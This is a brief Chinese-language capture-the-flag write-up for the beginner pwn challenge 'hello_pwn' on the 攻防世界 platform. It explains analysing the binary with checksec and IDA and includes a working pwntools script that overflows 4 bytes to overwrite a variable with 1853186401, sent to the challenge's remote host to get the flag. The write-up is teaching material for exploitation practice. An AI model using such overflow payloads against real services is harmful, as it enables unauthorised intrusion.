攻防世界簡單題 hello_pwn
攻防世界的PWN簡單題 此題開始需要我們開始要學會構建payload
並且對C語言基礎知識、pwntools、匯編基礎知識進行了考察
先checksec看是多少位的程序
發現是64位的小端程序,扔進IDA64,點擊左邊的main函數,按鍵盤上的F5,運行偽代碼插件,查看C語言偽代碼
梳理一下函數的邏輯,發現只要dword_60106c的值等於1853186401就可以運行sub_400686函數,
雙擊sub_400686函數進去查看!
然后就是想溢出的流程了,計算一下601068到60106c的長度。
可以看出是4個字節
然后編寫exp
from pwn import *
payload = b'a'*4 + p64(1853186401)
#構建payload 601068向下輸出4個字節的內容
#此時地址正好到60106c,輸入需要的數字
coon = remote('111.200.241.244',53871)
#連接遠程IP和端口
coon.recv()
#接收遠程發來的內容
coon.sendline(payload)
#向遠程發送我們的payload
coon.interactive()
#與遠程進行交互,就是查看我們的flag
然后運行exp腳本就可以得到flag了